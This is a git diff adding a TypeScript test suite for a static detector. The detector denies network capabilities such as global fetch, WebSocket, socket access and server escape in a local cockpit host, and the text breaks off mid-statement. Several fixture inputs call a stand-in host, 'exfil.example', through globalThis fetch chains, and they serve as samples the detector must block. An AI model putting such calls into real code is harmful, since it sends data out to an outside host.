diff --git a/tests/cockpit-host/d3-network-policy.test.ts b/tests/cockpit-host/d3-network-policy.test.ts new file mode 100644 index 0000000..22c7e04 --- /dev/null +++ b/tests/cockpit-host/d3-network-policy.test.ts @@ -0,0 +1,1839 @@ +import { readFileSync } from 'node:fs'; +import { join } from 'node:path'; +import { fileURLToPath } from 'node:url'; + +import ts from 'typescript'; +import { describe, expect, it } from 'vitest'; + +import { + analyzeNetworkPolicy, + analyzeNetworkPolicyTree, + DEFAULT_FIXPOINT_CEILING, + inspectNetworkPolicy, + isValueRead, + isWriteTarget, + LOOPBACK_HOST, + NETWORK_GLOBAL_NAMES, + POLICY_KEY_NAMES, + PORT_MAX, + STATIC_KEY_CEILING, + type NetworkPolicyOptions, + type NetworkPolicyResult, + type ReasonCode, +} from './support/d3-network-policy.js'; +import { + D3_REGRESSION_MATRIX, + REAL_HOST_REPLICA, + REGRESSION_CATEGORIES, + reversePropagationChain, + type RegressionRow, +} from './support/d3-regression-matrix.js'; +import { EXPECTED_HOST_CLOSURE, readHostClosure } from './support/host-closure.js'; + +/** + * Cockpit D3 network policy — mechanism tests and the semantic regression matrix. + * + * The detector under test is `tests/cockpit-host/support/d3-network-policy.ts`; + * the rows live in `tests/cockpit-host/support/d3-regression-matrix.ts`. The + * purity suite integrates the detector over the real host tree separately. + */ + +const hostDir = fileURLToPath(new URL('../../src/cockpit-host/', import.meta.url)); +const detectorPath = fileURLToPath(new URL('./support/d3-network-policy.ts', import.meta.url)); + +const NS = `import http from 'node:http';`; +const L = `(request: http.IncomingMessage, response: http.ServerResponse) => { response.end('ok'); }`; + +const describeFindings = (result: NetworkPolicyResult): string => + result.findings.map((finding) => `${finding.reason}@${String(finding.line)}:${String(finding.column)} ${finding.text}`).join('; '); + +/** Every node under `root` (depth-first) that satisfies `predicate`. */ +function collectNodes(root: ts.Node, predicate: (node: ts.Node) => node is T): T[] { + const found: T[] = []; + const visit = (node: ts.Node): void => { + if (predicate(node)) found.push(node); + ts.forEachChild(node, visit); + }; + visit(root); + return found; +} + +const identifiersNamed = (root: ts.Node, text: string): ts.Identifier[] => + collectNodes(root, ts.isIdentifier).filter((id) => id.text === text); + +const occurrences = (haystack: string, needle: string): number => haystack.split(needle).length - 1; + +// --------------------------------------------------------------------------- +// valueSymbolOf +// --------------------------------------------------------------------------- + +describe('D3 network policy valueSymbolOf is the single symbol-resolution path', () => { + it('resolves a shorthand property value to the local binding, not the property', () => { + const inspection = inspectNetworkPolicy(`const server = 1;\nconst box = { server };`); + const [declared, shorthand] = identifiersNamed(inspection.sourceFile, 'server'); + expect(declared).toBeDefined(); + expect(shorthand).toBeDefined(); + if (declared === undefined || shorthand === undefined) return; + expect(ts.isShorthandPropertyAssignment(shorthand.parent)).toBe(true); + const declaredSymbol = inspection.valueSymbolOf(declared); + expect(inspection.valueSymbolOf(shorthand)).toBe(declaredSymbol); + // The plain checker call returns the *property* symbol here — the mismatch F-3 named. + expect(inspection.checker.getSymbolAtLocation(shorthand)).not.toBe(declaredSymbol); + }); + + it('resolves an export specifier to its local target', () => { + const inspection = inspectNetworkPolicy(`const server = 1;\nexport { server as s };`); + const [declared, local] = identifiersNamed(inspection.sourceFile, 'server'); + expect(declared).toBeDefined(); + expect(local).toBeDefined(); + if (declared === undefined || local === undefined) return; + expect(ts.isExportSpecifier(local.parent)).toBe(true); + expect(inspection.valueSymbolOf(local)).toBe(inspection.valueSymbolOf(declared)); + expect(inspection.valueSymbolOf(local.parent)).toBe(inspection.valueSymbolOf(declared)); + }); + + it('resolves ordinary identifiers by binder identity across scopes', () => { + const inspection = inspectNetworkPolicy(`const k = 1;\n{ const k = 2; k; }\nk;`); + const [outerDecl, innerDecl, innerUse, outerUse] = identifiersNamed(inspection.sourceFile, 'k'); + expect(outerDecl && innerDecl && innerUse && outerUse).toBeTruthy(); + if (!outerDecl || !innerDecl || !innerUse || !outerUse) return; + expect(inspection.valueSymbolOf(innerUse)).toBe(inspection.valueSymbolOf(innerDecl)); + expect(inspection.valueSymbolOf(outerUse)).toBe(inspection.valueSymbolOf(outerDecl)); + expect(inspection.valueSymbolOf(innerDecl)).not.toBe(inspection.valueSymbolOf(outerDecl)); + }); + + it('is the only checker symbol-resolution path in the detector source', () => { + const detector = readFileSync(detectorPath, 'utf8'); + expect(occurrences(detector, 'checker.getSymbolAtLocation(')).toBe(1); + expect(occurrences(detector, 'checker.getShorthandAssignmentValueSymbol(')).toBe(1); + expect(occurrences(detector, 'checker.getExportSpecifierLocalTargetSymbol(')).toBe(2); + expect(occurrences(detector, 'getSymbolsInScope')).toBe(0); + expect(occurrences(detector, 'getAliasedSymbol')).toBe(0); + expect(occurrences(detector, 'getTypeAtLocation')).toBe(0); + }); +}); + +// --------------------------------------------------------------------------- +// isValueRead +// --------------------------------------------------------------------------- + +describe('D3 network policy isValueRead separates runtime reads from names and types', () => { + const source = ` +import http, { type Server as S, createServer } from 'node:http'; +import * as ns from 'node:url'; +type T = { server: number; m(): void }; +interface I { server: number } +enum E { server } +namespace N { export const server = 1; } +class C { server = 1; get g() { return 1; } set g(v: number) {} m() {} } +function server(server: number, { server: alias }: { server: number }): http.Server | null { return null; } +const o = { server: 1, [String(1)]: 2 }; +let v: typeof server; +label: for (;;) { break label; } +server(o.server, { server: 1 }); +const { server: renamed } = o; +export { renamed as server }; +import.meta; +`; + const inspection = inspectNetworkPolicy(source); + const reads = identifiersNamed(inspection.sourceFile, 'server').filter(isValueRead); + + it('treats exactly the runtime reads as value reads', () => { + const texts = reads.map((id) => { + const parent = id.parent; + return ts.SyntaxKind[parent.kind]; + }); + expect(texts).toEqual(['CallExpression']); + // `export { renamed as server }`: the local name `renamed` is the value read, the exported name is not. + const renamed = identifiersNamed(inspection.sourceFile, 'renamed').filter(isValueRead); + expect(renamed.map((id) => ts.SyntaxKind[id.parent.kind])).toEqual(['ExportSpecifier']); + }); + + it('excludes declaration names, keys, member names, type positions, labels and import forms', () => { + const excluded = identifiersNamed(inspection.sourceFile, 'server').filter((id) => !isValueRead(id)); + const kinds = new Set(excluded.map((id) => ts.SyntaxKind[id.parent.kind])); + for (const kind of [ + 'PropertySignature', + 'EnumMember', + 'VariableDeclaration', + 'PropertyDeclaration', + 'FunctionDeclaration', + 'Parameter', + 'BindingElement', + 'PropertyAssignment', + 'PropertyAccessExpression', + 'TypeQuery', + ]) { + expect(kinds, kind).toContain(kind); + } + expect(identifiersNamed(inspection.sourceFile, 'label').some(isValueRead)).toBe(false); + expect(identifiersNamed(inspection.sourceFile, 'S').some(isValueRead)).toBe(false); + expect(identifiersNamed(inspection.sourceFile, 'ns').some(isValueRead)).toBe(false); + expect(identifiersNamed(inspection.sourceFile, 'meta').some(isValueRead)).toBe(false); + }); + + it('treats a class extends expression as a value read but implements as a type', () => { + const inspected = inspectNetworkPolicy(`class A {}\ninterface I {}\nclass B extends A implements I {}`); + expect(identifiersNamed(inspected.sourceFile, 'A').filter(isValueRead)).toHaveLength(1); + expect(identifiersNamed(inspected.sourceFile, 'I').filter(isValueRead)).toHaveLength(0); + }); +}); + +// --------------------------------------------------------------------------- +// Static-key resolver +// --------------------------------------------------------------------------- + +describe('D3 network policy static-key resolver returns exactly RESOLVED/NOT_CAPABILITY/INDETERMINATE', () => { + const firstElementKey = (source: string): ReturnType['resolveStaticKey']> => { + const inspection = inspectNetworkPolicy(source); + const [access] = collectNodes(inspection.sourceFile, ts.isElementAccessExpression); + expect(access).toBeDefined(); + if (access === undefined) throw new Error('no element access'); + return inspection.resolveStaticKey(access.argumentExpression); + }; + + it('resolves literals, templates, concatenations, unique consts and wrappers', () => { + expect(firstElementKey(`o['listen'];`)).toEqual({ kind: 'RESOLVED', value: 'listen' }); + expect(firstElementKey(`o[\`listen\`];`)).toEqual({ kind: 'RESOLVED', value: 'listen' }); + expect(firstElementKey(`const A = 'lis'; o[\`\${A}ten\`];`)).toEqual({ kind: 'RESOLVED', value: 'listen' }); + expect(firstElementKey(`o['lis' + 'ten'];`)).toEqual({ kind: 'RESOLVED', value: 'listen' }); + expect(firstElementKey(`const K = 'listen'; o[K];`)).toEqual({ kind: 'RESOLVED', value: 'listen' }); + expect(firstElementKey(`const A = 'lis'; const B = A + 'ten'; o[((B as string)!) satisfies string];`)).toEqual({ + kind: 'RESOLVED', + value: 'listen', + }); + expect(firstElementKey(`o[0];`)).toEqual({ kind: 'RESOLVED', value: '0' }); + }); + + it('returns NOT_CAPABILITY once a folded string exceeds the policy-name ceiling', () => { + expect(STATIC_KEY_CEILING).toBe(Math.max(...POLICY_KEY_NAMES.map((name) => name.length))); + expect(STATIC_KEY_CEILING).toBe('createServer'.length); + expect(firstElementKey(`o['${'x'.repeat(STATIC_KEY_CEILING + 1)}'];`)).toEqual({ kind: 'NOT_CAPABILITY' }); + expect(firstElementKey(`o['${'x'.repeat(STATIC_KEY_CEILING)}'];`).kind).toBe('RESOLVED'); + expect(firstElementKey(`const A = '${'x'.repeat(STATIC_KEY_CEILING)}'; o[A + 'y'];`)).toEqual({ kind: 'NOT_CAPABILITY' }); + }); + + it('returns INDETERMINATE for let, written const, parameters, cycles, calls and destructured bindings', () => { + expect(firstElementKey(`let K = 'listen'; o[K];`)).toEqual({ kind: 'INDETERMINATE' }); + expect(firstElementKey(`const K = 'listen'; (K as any) = 'x'; o[K];`)).toEqual({ kind: 'INDETERMINATE' }); + expect(firstElementKey(`function f(K: string) { o[K]; }`)).toEqual({ kind: 'INDETERMINATE' }); + expect(firstElementKey(`const A: string = B; const B: string = A; o[A];`)).toEqual({ kind: 'INDETERMINATE' }); + expect(firstElementKey(`o[String(1)];`)).toEqual({ kind: 'INDETERMINATE' }); + expect(firstElementKey(`const { K } = { K: 'listen' }; o[K];`)).toEqual({ kind: 'INDETERMINATE' }); + expect(firstElementKey(`declare const K: string; o[K];`)).toEqual({ kind: 'INDETERMINATE' }); + expect(firstElementKey(`const K = 'lis' + Math.random(); o[K];`)).toEqual({ kind: 'INDETERMINATE' }); + }); + + it('is scope-sensitive by binder identity, not by name', () => { + expect(firstElementKey(`const K = 'request'; { const K = 'listen'; o[K]; }`)).toEqual({ kind: 'RESOLVED', value: 'listen' }); + expect(firstElementKey(`const K = 'listen'; function f(K: string) { o[K]; }`)).toEqual({ kind: 'INDETERMINATE' }); + }); + + it('terminates on a long const chain and a dense concatenation tree', () => { + const chain = Array.from({ length: 300 }, (_, i) => `const k${String(i + 1)} = k${String(i)};`).join('\n'); + const key = firstElementKey(`const k0 = 'listen';\n${chain}\no[k300];`); + expect(['RESOLVED', 'INDETERMINATE']).toContain(key.kind); + const tree = Array.from({ length: 2_000 }, () => `'x'`).join(' + '); + expect(firstElementKey(`o[${tree}];`).kind).not.toBe('RESOLVED'); + }); + + it('is the only key resolver in the detector source', () => { + const detector = readFileSync(detectorPath, 'utf8'); + expect(occurrences(detector, 'function resolveKeyInner(')).toBe(1); + expect(occurrences(detector, 'const resolveStaticKey = ')).toBe(1); + expect(occurrences(detector, 'STATIC_KEY_CEILING')).toBeGreaterThan(0); + expect(occurrences(detector, 'staticStringOf')).toBe(0); + expect(occurrences(detector, 'collectStringConsts')).toBe(0); + }); +}); + +// --------------------------------------------------------------------------- +// Write inventory +// --------------------------------------------------------------------------- + +describe('D3 network policy write inventory counts binder-resolved writes once', () => { + const inspection = inspectNetworkPolicy(` +function f() {} +let g = 1; +(f as any) = 1; +(f as any) += 1; +(f as any)++; +--(f as any); +[(f as any)] = [1]; +({ f } = { f: 1 } as any); +({ x: (f as any) } = { x: 1 } as any); +for (f as any in {}) {} +for (f as any of []) {} +const h = f; +f; +g = 2; +`); + const symbolOf = (text: string): ts.Symbol => { + const [id] = identifiersNamed(inspection.sourceFile, text); + const symbol = id === undefined ? undefined : inspection.valueSymbolOf(id); + if (symbol === undefined) throw new Error(`no symbol for ${text}`); + return symbol; + }; + + it('counts assignment, compound, update, destructuring-assignment, for-in and for-of targets through wrappers', () => { + expect(inspection.writeCountOf(symbolOf('f'))).toBe(9); + expect(inspection.writeCountOf(symbolOf('g'))).toBe(1); + expect(inspection.writeCountOf(symbolOf('h'))).toBe(0); + }); + + it('exposes isWriteTarget for member accesses inside patterns', () => { + const inspected = inspectNetworkPolicy(`declare const o: any;\n[o.a] = [1];\n({ b: o.c } = {} as any);\no.d;\nuse([o.e]);`); + const accesses = collectNodes(inspected.sourceFile, ts.isPropertyAccessExpression); + expect(accesses.map((access) => isWriteTarget(access))).toEqual([true, true, false, false]); + }); +}); + +// --------------------------------------------------------------------------- +// Listener boundary +// --------------------------------------------------------------------------- + +describe('D3 network policy createServer listener boundary', () => { + const factsOfParameter = (source: string, name: string): readonly string[] => { + const inspection = inspectNetworkPolicy(source); + const parameter = collectNodes(inspection.sourceFile, ts.isParameter).find((p) => ts.isIdentifier(p.name) && p.name.text === name); + const symbol = parameter === undefined ? undefined : inspection.valueSymbolOf(parameter.name); + if (symbol === undefined) throw new Error(`no parameter ${name}`); + return inspection.factsOf(symbol); + }; + + it('roots exactly parameter 0 as REQUEST and parameter 1 as RESPONSE', () => { + const source = `${NS}\nhttp.createServer((a, b, c, d) => { a; b; c; d; });`; + expect(factsOfParameter(source, 'a')).toEqual(['REQUEST:ROOT']); + expect(factsOfParameter(source, 'b')).toEqual(['RESPONSE:ROOT']); + expect(factsOfParameter(source, 'c')).toEqual([]); + expect(factsOfParameter(source, 'd')).toEqual([]); + }); + + it('leaves parameters at index >= 2 unprivileged even when they misbehave', () => { + const result = analyzeNetworkPolicy(`${NS}\nhttp.createServer((request, response, extra: any) => { extra.socket.write('x'); response.end(); });`); + expect(result.verdict, describeFindings(result)).toBe('ALLOW'); + }); + + it('requires a CallExpression with exactly one normalized function argument', () => { + for (const [source, reason] of [ + [`${NS}\nhttp.createServer();`, 'CREATE_SERVER_ARITY'], + [`${NS}\nhttp.createServer({}, ${L});`, 'CREATE_SERVER_ARITY'], + [`${NS}\nnew http.createServer(${L});`, 'CREATE_SERVER_NEW'], + [`${NS}\nlet h = ${L};\nhttp.createServer(h);`, 'LISTENER_NOT_FUNCTION'], + [`${NS}\nhttp.createServer(({ url }, response) => {});`, 'LISTENER_PARAMETER_PATTERN'], + [`${NS}\nhttp.createServer((...args: any[]) => {});`, 'LISTENER_PARAMETER_PATTERN'], + [`${NS}\nhttp.createServer(function (this: unknown, request, response) {});`, 'LISTENER_THIS_PARAMETER'], + ] as const) { + const result = analyzeNetworkPolicy(source); + expect(result.verdict, source).toBe('DENY'); + expect(result.reasons, source).toContain(reason); + } + }); + + it('normalizes the listener through wrappers, const spines and unique FunctionDeclarations', () => { + for (const source of [ + `${NS}\nhttp.createServer((${L}) as any);`, + `${NS}\nconst h1 = ${L};\nconst h2 = h1!;\nhttp.createServer(h2);`, + `${NS}\nfunction handle(request: http.IncomingMessage, response: http.ServerResponse) { response.end(\`\${request.url}\`); }\nhttp.createServer(handle);`, + ]) { + const result = analyzeNetworkPolicy(source); + expect(result.verdict, `${source}\n${describeFindings(result)}`).toBe('ALLOW'); + } + }); + + it('roots the parameters of a FunctionDeclaration listener', () => { + const source = `${NS}\nfunction handle(q: http.IncomingMessage, s: http.ServerResponse) { s.end(q.url); }\nhttp.createServer(handle);`; + expect(factsOfParameter(source, 'q')).toEqual(['REQUEST:ROOT']); + expect(factsOfParameter(source, 's')).toEqual(['RESPONSE:ROOT']); + }); +}); + +// --------------------------------------------------------------------------- +// Options argument +// --------------------------------------------------------------------------- + +describe('D3 network policy denies every createServer options form (frozen: OPTIONS = DENY)', () => { + it('denies a second argument regardless of its shape', () => { + for (const options of ['{}', '{ IncomingMessage: class {} }', '{ ServerResponse: class {} }', '{ shouldUpgradeCallback: () => true }', 'undefined', 'opts']) { + const result = analyzeNetworkPolicy(`${NS}\ndeclare const opts: any;\nhttp.createServer(${options}, ${L});`); + expect(result.reasons, options).toContain('CREATE_SERVER_ARITY'); + } + }); + + it('performs no options analysis: the detector names no option keys', () => { + const detector = readFileSync(detectorPath, 'utf8'); + for (const forbidden of ['IncomingMessage', 'ServerResponse', 'shouldUpgradeCallback', 'prototype']) { + expect(occurrences(detector, forbidden), forbidden).toBe(0); + } + }); +}); + +// --------------------------------------------------------------------------- +// Local callee eligibility and propagation +// --------------------------------------------------------------------------- + +describe('D3 network policy local callee eligibility governs propagation and escape alike', () => { + const factsOfParameter = (source: string, name: string): readonly string[] => { + const inspection = inspectNetworkPolicy(source); + const parameter = collectNodes(inspection.sourceFile, ts.isParameter).find((p) => ts.isIdentifier(p.name) && p.name.text === name); + const symbol = parameter === undefined ? undefined : inspection.valueSymbolOf(parameter.name); + if (symbol === undefined) throw new Error(`no parameter ${name}`); + return inspection.factsOf(symbol); + }; + + it('propagates into an immutable FunctionDeclaration parameter as PARAM', () => { + const source = `${NS}\nfunction f(res: http.ServerResponse) { res.end(); }\nhttp.createServer((request, response) => { f(response); });`; + expect(factsOfParameter(source, 'res')).toEqual(['RESPONSE:PARAM']); + expect(analyzeNetworkPolicy(source).verdict).toBe('ALLOW'); + }); + + it('rejects a written FunctionDeclaration as a propagation callee and denies the call site', () => { + const source = `${NS}\nfunction f(res: http.ServerResponse) { res.end(); }\n(f as any) = null;\nhttp.createServer((request, response) => { f(response); });`; + expect(factsOfParameter(source, 'res')).toEqual([]); + const result = analyzeNetworkPolicy(source); + expect(result.reasons).toContain('RESPONSE_ESCAPE'); + }); + + it('rejects rest, pattern and missing parameters for a privileged argument', () => { + for (const callee of ['function f(...a: unknown[]) {}', 'function f({ x }: any) {}', 'function f() {}']) { + const result = analyzeNetworkPolicy(`${NS}\n${callee}\nhttp.createServer((request, response) => { f(response); });`); + expect(result.reasons, callee).toContain('RESPONSE_ESCAPE'); + } + }); + + it('uses one predicate: no fact is ever produced for a call site that is denied as an escape', () => { + const inspection = inspectNetworkPolicy( + `${NS}\nlet f = (res: any) => { res; };\nfunction g(res: any) { res; }\nhttp.createServer((request, response) => { f(response); g(response); });`, + ); + const parameters = collectNodes(inspection.sourceFile, ts.isParameter).filter((p) => ts.isIdentifier(p.name) && p.name.text === 'res'); + const facts = parameters.map((p) => { + const symbol = inspection.valueSymbolOf(p.name); + return symbol === undefined ? [] : inspection.factsOf(symbol); + }); + expect(facts).toEqual([[], ['RESPONSE:PARAM']]); + expect(inspection.result.findings.filter((finding) => finding.reason === 'RESPONSE_ESCAPE')).toHaveLength(1); + }); + + it('is the only parameter-propagation predicate in the detector source', () => { + const detector = readFileSync(detectorPath, 'utf8'); + expect(occurrences(detector, 'function resolvePropagationParameter(')).toBe(1); + expect(occurrences(detector, 'resolvePropagationParameter(ctx, ')).toBe(2); + }); +}); + +// --------------------------------------------------------------------------- +// Factory confinement +// --------------------------------------------------------------------------- + +describe('D3 network policy factory confinement', () => { + const factoryState = (source: string, name: string): { confined: boolean; result: NetworkPolicyResult } => { + const inspection = inspectNetworkPolicy(source); + const [id] = identifiersNamed(inspection.sourceFile, name); + const symbol = id === undefined ? undefined : inspection.valueSymbolOf(id); + if (symbol === undefined) throw new Error(`no binding ${name}`); + return { confined: inspection.isConfinedFactory(symbol), result: inspection.result }; + }; + + it('confines the real exported factory and roots its const consumer as SERVER', () => { + const source = `${NS}\nexport function createCockpitServer(): http.Server { return http.createServer(${L}); }\nconst server = createCockpitServer();\nserver.listen(4317, '127.0.0.1');`; + const { confined, result } = factoryState(source, 'createCockpitServer'); + expect(confined).toBe(true); + expect(result.verdict, describeFindings(result)).toBe('ALLOW'); + const inspection = inspectNetworkPolicy(source); + const [serverDecl] = identifiersNamed(inspection.sourceFile, 'server'); + const serverSymbol = serverDecl === undefined ? undefined : inspection.valueSymbolOf(serverDecl); + expect(serverSymbol && inspection.factsOf(serverSymbol)).toEqual(['SERVER:ROOT']); + }); + + it('does not confine mixed returns, escaped identities, async/generator or IIFE/method/object-held functions', () => { + for (const [source, name] of [ + [`${NS}\nfunction make(x: boolean) { if (x) return http.createServer(${L}); return null; }`, 'make'], + [`${NS}\nfunction make() { return http.createServer(${L}); }\nconst fns = [make];`, 'make'], + [`${NS}\nfunction make() { return http.createServer(${L}); }\nmake.call(null);`, 'make'], + [`${NS}\nasync function make() { return http.createServer(${L}); }`, 'make'], + [`${NS}\nfunction* make() { return http.createServer(${L}); }`, 'make'], + [`${NS}\nconst host = { make: () => http.createServer(${L}) };`, 'make'], + [`${NS}\nfunction id(s: http.Server) { return s; }`, 'id'], + ] as const) { + const { confined, result } = factoryState(source, name); + expect(confined, source).toBe(false); + if (source.includes('createServer(')) expect(result.reasons, source).toContain('SERVER_UNCONFINED_RETURN'); + } + }); + + it('does not confine a factory whose return is a PARAM-derived server alias', () => { + const { confined, result } = factoryState(`${NS}\nconst server = http.createServer(${L});\nfunction id(s: http.Server) { const t = s; return t; }\nid(server);`, 'id'); + expect(confined).toBe(false); + expect(result.reasons).toContain('SERVER_UNCONFINED_RETURN'); + }); + + it('confines factories returning other confined factories or rooted const aliases', () => { + const source = `${NS}\nconst server = http.createServer(${L});\nfunction get() { return server; }\nfunction outer() { return get(); }\nouter().listen(4317, '127.0.0.1');`; + expect(factoryState(source, 'get').confined).toBe(true); + expect(factoryState(source, 'outer').confined).toBe(true); + expect(factoryState(source, 'outer').result.verdict).toBe('ALLOW'); + }); + + it('has no function-level factory set outside the fixpoint', () => { + const detector = readFileSync(detectorPath, 'utf8'); + expect(occurrences(detector, 'serverFactories')).toBe(0); + expect(occurrences(detector, 'function isConfinedFactory(')).toBe(1); + }); +}); + +// --------------------------------------------------------------------------- +// Positive policies +// --------------------------------------------------------------------------- + +describe('D3 network policy positive policies deny every non-allow-listed operation', () => { + it('denies destructuring of any proven target', () => { + for (const [source, reason] of [ + [`${NS}\nconst { listen } = http.createServer(${L});`, 'SERVER_DESTRUCTURING'], + [`${NS}\nhttp.createServer((request, response) => { const { socket } = request; });`, 'REQUEST_DESTRUCTURING'], + [`${NS}\nhttp.createServer((request, response) => { const [a] = response as any; });`, 'RESPONSE_DESTRUCTURING'], + [`${NS}\nhttp.createServer((request, response) => { let s; ({ socket: s } = response); });`, 'RESPONSE_DESTRUCTURING'], + ] as const) { + expect(analyzeNetworkPolicy(source).reasons, source).toContain(reason); + } + }); + + it('denies export { server } and every other proven-target export', () => { + const base = `${NS}\nconst server = http.createServer(${L});\n`; + for (const tail of [`export { server };`, `export { server as s };`, `export default server;`, `const a = server;\nexport { a };`]) { + expect(analyzeNetworkPolicy(base + tail).reasons, tail).toContain('SERVER_EXPORT'); + } + expect(analyzeNetworkPolicy(`${NS}\nexport const server = http.createServer(${L});`).reasons).toContain('SERVER_EXPORT'); + }); + + it('has no dangerous-member-name model: the allow-lists are the only member tables', () => { + const detector = readFileSync(detectorPath, 'utf8'); + for (const legacy of [ + 'reqResSymbols', + 'receiverIsReqRes', + 'STATIC_SOCKET_ACQUISITION_NAMES', + 'RECEIVER_INDEPENDENT_ASSIGNMENT_NAMES', + 'META_MUTATION_APIS', + 'scanReqResBindingPattern', + 'scanReqResAssignmentTarget', + 'scanSocketAssignmentTarget', + "'socket'", + "'connection'", + ]) { + expect(occurrences(detector, legacy), legacy).toBe(0); + } + }); +}); + +// --------------------------------------------------------------------------- +// Fixpoint +// --------------------------------------------------------------------------- + +describe('D3 network policy fixpoint is explicit, bounded and fail-closed', () => { + it('converges on the real host replica and reports iterations within the derived bound', () => { + const inspection = inspectNetworkPolicy(REAL_HOST_REPLICA); + expect(inspection.result.fixpoint.state).toBe('CONVERGED'); + expect(inspection.result.fixpoint.iterations).toBeLessThanOrEqual(inspection.fixpointBound); + expect(inspection.result.fixpoint.bound).toBe(inspection.fixpointBound); + expect(inspection.fixpointBound).toBeGreaterThanOrEqual(inspection.declaredSymbolCount * 9 + 1); + expect(inspection.fixpointBound).toBeLessThanOrEqual(DEFAULT_FIXPOINT_CEILING); + }); + + it('needs more passes for a longer reverse chain and converges monotonically', () => { + const short = analyzeNetworkPolicy(reversePropagationChain(2)); + const long = analyzeNetworkPolicy(reversePropagationChain(8)); + expect(short.fixpoint.state).toBe('CONVERGED'); + expect(long.fixpoint.state).toBe('CONVERGED'); + expect(long.fixpoint.iterations).toBeGreaterThan(short.fixpoint.iterations); + expect(long.verdict, describeFindings(long)).toBe('ALLOW'); + }); + + it('reports EXHAUSTED and denies immediately when the ceiling is reached, without Phase-B findings', () => { + const result = analyzeNetworkPolicy(reversePropagationChain(8), { fixpointCeiling: 3 }); + expect(result.fixpoint).toEqual({ state: 'EXHAUSTED', iterations: 3, bound: 3 }); + expect(result.verdict).toBe('DENY'); + expect(result.reasons).toEqual(['FIXPOINT_EXHAUSTED']); + }); + + it('exhaustion denies a source that is otherwise allowed and never masks it as ALLOW', () => { + const allowed = analyzeNetworkPolicy(REAL_HOST_REPLICA); + const exhausted = analyzeNetworkPolicy(REAL_HOST_REPLICA, { fixpointCeiling: 1 }); + expect(allowed.verdict).toBe('ALLOW'); + expect(exhausted.verdict).toBe('DENY'); + expect(exhausted.fixpoint.state).toBe('EXHAUSTED'); + }); + + it('is the only fixpoint and the only provenance producer in the detector source', () => { + const detector = readFileSync(detectorPath, 'utf8'); + expect(occurrences(detector, 'function runFixpoint(')).toBe(1); + expect(occurrences(detector, 'function addFact(')).toBe(1); + expect(occurrences(detector, 'ctx.facts.set(')).toBe(1); + expect(occurrences(detector, 'facts.add(')).toBe(1); + expect(occurrences(detector, "'CONVERGED'")).toBeGreaterThan(0); + expect(occurrences(detector, "'EXHAUSTED'")).toBeGreaterThan(0); + }); +}); + +// --------------------------------------------------------------------------- +// Receiver-call result authority inheritance (PR #67 F2 / F3) +// --------------------------------------------------------------------------- + +describe('D3 network policy receiver-call result authority inheritance (PR #67 F2/F3)', () => { + const withServer = (rest: string): string => `${NS}\nconst server = http.createServer(${L});\n${rest}`; + const inListener = (body: string): string => `${NS}\nhttp.createServer((request, response) => {\n ${body}\n});`; + + const factsOfConst = (source: string, name: string): { facts: readonly string[]; result: NetworkPolicyResult; bound: number } => { + const inspection = inspectNetworkPolicy(source); + const declaration = collectNodes(inspection.sourceFile, ts.isVariableDeclaration).find((d) => ts.isIdentifier(d.name) && d.name.text === name); + const symbol = declaration === undefined ? undefined : inspection.valueSymbolOf(declaration.name); + if (symbol === undefined) throw new Error(`no const ${name}`); + return { facts: inspection.factsOf(symbol), result: inspection.result, bound: inspection.fixpointBound }; + }; + + it('F2: denies every proven-target call-result witness through the existing target policy', () => { + for (const [source, reason] of [ + [withServer(`export const leaked = server.listen(4317, '127.0.0.1');`), 'SERVER_EXPORT'], + [withServer(`server.listen(4317, '127.0.0.1').on('connection', (socket) => { socket.write('x'); });`), 'SERVER_MEMBER'], + [withServer(`server.close().on('close', () => {});`), 'SERVER_MEMBER'], + [inListener(`response.setHeader('a', 'b').socket;`), 'RESPONSE_MEMBER'], + [inListener(`response.end('x').socket;`), 'RESPONSE_MEMBER'], + [inListener(`const r2 = response.setHeader('a', 'b');\nuse(r2);`), 'RESPONSE_ESCAPE'], + [withServer(`use(server.listen(4317, '127.0.0.1'));`), 'SERVER_ESCAPE'], + [`${NS}\nhttp.createServer(${L}).listen(4317, '127.0.0.1').on('x', () => {});`, 'SERVER_MEMBER'], + [withServer(`const leaked = server.listen(4317, '127.0.0.1');\nuse(leaked);`), 'SERVER_ESCAPE'], + ] as const) { + const result = analyzeNetworkPolicy(source); + expect(result.verdict, source).toBe('DENY'); + expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([reason]); + expect(result.fixpoint.state, source).toBe('CONVERGED'); + } + }); + + it('F3: denies every invocation of a permitted global member at the call; its result is never followed', () => { + for (const [source, reason] of [ + [`globalThis.valueOf().fetch('https://exfil.example/');`, 'GLOBAL_RECEIVER_CALL'], + [`globalThis.global.valueOf().fetch('https://exfil.example/');`, 'GLOBAL_RECEIVER_CALL'], + [`const g = globalThis.valueOf();`, 'GLOBAL_RECEIVER_CALL'], + [`window['valueOf']().WebSocket;`, 'GLOBAL_RECEIVER_CALL'], + [`use(self.valueOf());`, 'GLOBAL_RECEIVER_CALL'], + ] as const) { + const result = analyzeNetworkPolicy(source); + expect(result.verdict, source).toBe('DENY'); + expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([reason]); + } + }); + + it('F3: denies optional invocations of permitted global members exactly like plain ones, with one finding each', () => { + for (const [source, reason] of [ + [`globalThis.valueOf?.().fetch('x');`, 'GLOBAL_RECEIVER_CALL'], + [`globalThis?.valueOf?.().fetch('x');`, 'GLOBAL_RECEIVER_CALL'], + [`globalThis?.valueOf().fetch('x');`, 'GLOBAL_RECEIVER_CALL'], + [`globalThis['valueOf']?.().fetch('x');`, 'GLOBAL_RECEIVER_CALL'], + [`globalThis['valueOf']?.().WebSocket;`, 'GLOBAL_RECEIVER_CALL'], + [`(globalThis.valueOf?.() as any).fetch('x');`, 'GLOBAL_RECEIVER_CALL'], + [`globalThis.valueOf?.().self.fetch('x');`, 'GLOBAL_RECEIVER_CALL'], + [`const g = globalThis.valueOf?.();`, 'GLOBAL_RECEIVER_CALL'], + [`use(globalThis.valueOf?.());`, 'GLOBAL_RECEIVER_CALL'], + [`function g() { return window.valueOf?.(); }`, 'GLOBAL_RECEIVER_CALL'], + [`declare const k: string;\nglobalThis.valueOf?.()[k];`, 'GLOBAL_RECEIVER_CALL'], + [`declare const k: string;\nglobalThis[k]?.().fetch('x');`, 'GLOBAL_RECEIVER_RUNTIME_KEY'], + ] as const) { + const result = analyzeNetworkPolicy(source); + expect(result.verdict, source).toBe('DENY'); + expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([reason]); + expect(result.findings, `${source}\n${describeFindings(result)}`).toHaveLength(1); + } + for (const source of [ + `globalThis.valueOf?.();`, + `void globalThis.valueOf?.();`, + `typeof globalThis.valueOf?.();`, + `globalThis.valueOf?.().console.log('x');`, + ]) { + const 